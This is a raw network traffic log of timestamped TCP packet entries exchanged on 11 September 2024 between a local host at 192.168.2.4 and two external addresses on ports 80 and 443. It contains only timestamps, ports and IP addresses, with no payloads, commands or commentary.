Sep 11, 2024 16:22:19.496331930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496339083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496347904 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.496350050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496361017 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496367931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496404886 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.496404886 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.505480051 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.505544901 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.506125927 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.506185055 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.507034063 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.507097006 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.519689083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519704103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519715071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519721985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519758940 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.519805908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519813061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519824028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519829988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519835949 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519860983 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.519877911 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.519886971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519898891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.519931078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520009995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520047903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520055056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520107985 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520229101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520241022 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520252943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520257950 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.520261049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520297050 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520347118 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520349979 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.520356894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520495892 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520502090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520510912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520517111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520524025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520535946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520541906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520548105 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520567894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520574093 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520580053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520581007 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520584106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520607948 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520622015 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520647049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520653963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520664930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520669937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520675898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520678043 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.520688057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520694971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.520700932 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520740032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.520740032 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.520792007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.521114111 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.521167040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.521168947 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.521491051 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.521548986 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.523149967 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.523209095 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.523423910 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.523483038 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.527398109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.527434111 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.527440071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.527455091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.527492046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.527501106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.527537107 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.527538061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.527545929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.527554035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.527565956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.527597904 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.527738094 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.530631065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530637980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530651093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530706882 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.530706882 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.530711889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530719995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530733109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530739069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530781984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.530781984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.530885935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530891895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530985117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.530991077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531002998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531009912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531022072 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531028032 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531028032 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531028032 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531044006 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531064987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531080008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531080008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531164885 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531582117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531672955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531678915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531692028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531704903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531714916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531714916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531716108 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531723022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531728983 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531738997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531752110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531758070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531764030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531764030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531770945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531778097 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531822920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531829119 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.531846046 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531862020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.531862020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.534622908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534629107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534640074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534645081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534657955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534667015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534678936 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534682035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.534713984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.534713984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.534765005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534778118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534785032 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534790039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534796000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534801960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534807920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534813881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.534818888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.534818888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.534897089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.541197062 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541203022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541214943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541220903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541258097 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.541265011 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541271925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541281939 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541289091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541305065 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.541306019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.541372061 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541378021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541389942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541395903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541402102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541410923 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.541410923 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.541414022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.541431904 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.541461945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.542649031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543047905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543054104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543066025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543113947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543119907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543131113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543135881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543148041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543154955 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.543154955 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.543183088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543185949 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.543186903 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.543190002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543201923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543206930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543247938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.543247938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.543270111 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543277025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543374062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.543900967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.543906927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544013023 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.544022083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544027090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544038057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544043064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544049978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544054985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544060946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544083118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.544083118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.544122934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544128895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544131994 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.544136047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544147968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544153929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544159889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.544183016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.544183016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.544487000 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.545428038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545433044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545444965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545492887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545499086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545499086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.545506001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545511961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545538902 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.545540094 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.545568943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.545576096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545581102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545592070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545597076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545602083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545638084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.545638084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.545650959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545665979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545671940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.545720100 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579360962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579368114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579379082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579423904 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579428911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579438925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579440117 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579444885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579451084 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579483032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579580069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579586029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579596996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579602003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579607964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579618931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579627037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579628944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579634905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579653978 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579667091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579694986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579700947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579740047 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579742908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579750061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579788923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579807997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579813957 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579826117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579830885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.579857111 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.579905033 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.580307961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580378056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580383062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580394030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580399990 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580406904 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580418110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580436945 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.580475092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.580507040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580696106 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.580859900 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580884933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580903053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580913067 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.580914021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580920935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580940962 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.580955029 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.580972910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580979109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.580984116 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581013918 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581132889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581139088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581151009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581188917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581196070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581196070 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581207991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581213951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581238985 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581262112 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581283092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581289053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581295967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581301928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581331968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581367016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581372023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581383944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581429005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581537962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581543922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581554890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581599951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581602097 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581605911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581618071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581624031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581665993 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581731081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581736088 CEST	80	49735	147.45.44.104	192.168.2.4
